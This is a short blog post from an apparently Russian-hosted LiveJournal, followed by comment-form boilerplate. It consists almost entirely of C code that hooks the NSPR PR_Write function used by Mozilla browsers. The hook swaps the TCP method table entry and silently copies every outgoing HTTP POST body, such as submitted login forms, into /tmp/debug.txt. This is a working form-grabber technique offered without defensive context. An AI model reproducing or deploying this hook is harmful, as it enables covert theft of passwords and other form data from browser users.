herm1t LIVE!ng room - Post a comment [entries|archive|friends|userinfo]
herm1t

[ website | twilight corner in the herm1t's cave ]
[ userinfo | ljr userinfo ]
[ archive | journal archive ]

Hooking PR_Write Jun. 22nd, 2015|09:54 pm

herm1t
static int (*old_pr_write)(void *,void *, int);
static int pr_write(void *handle, void *buffer, int length)
{
        if (length > 4 && !strncmp(buffer, "POST", 4)) {
                FILE *f = fopen("/tmp/debug.txt", "a+");
                if (f != NULL) {
                        fprintf(f, "%.*s\n", length, buffer);
                        fclose(f);
                }
        }
        return old_pr_write(handle, buffer, length);
}

void init(void)
{
        void *h = dlopen(NULL, RTLD_LAZY);
        if (h) {
                void *(*mtdfn)(void) = dlsym(h, "PR_GetTCPMethods");
                if (mtdfn) {
                        void **mtd = (void**)mtdfn();
                        old_pr_write = ((int (*)(void*,void*,int))mtd[3]);
                        mtd[3] = pr_write;
                }
        }
}
Link Read Comments

Reply:
From:
(will be screened)
Identity URL: 
имя пользователя:    
Вы должны предварительно войти в LiveJournal.com
 
E-mail для ответов: 
Вы сможете оставлять комментарии, даже если не введете e-mail.
Но вы не сможете получать уведомления об ответах на ваши комментарии!
Внимание: на указанный адрес будет выслано подтверждение.
Username:
Password:
Subject:
No HTML allowed in subject
Message:



Notice! This user has turned on the option that logs IP addresses of anonymous posters.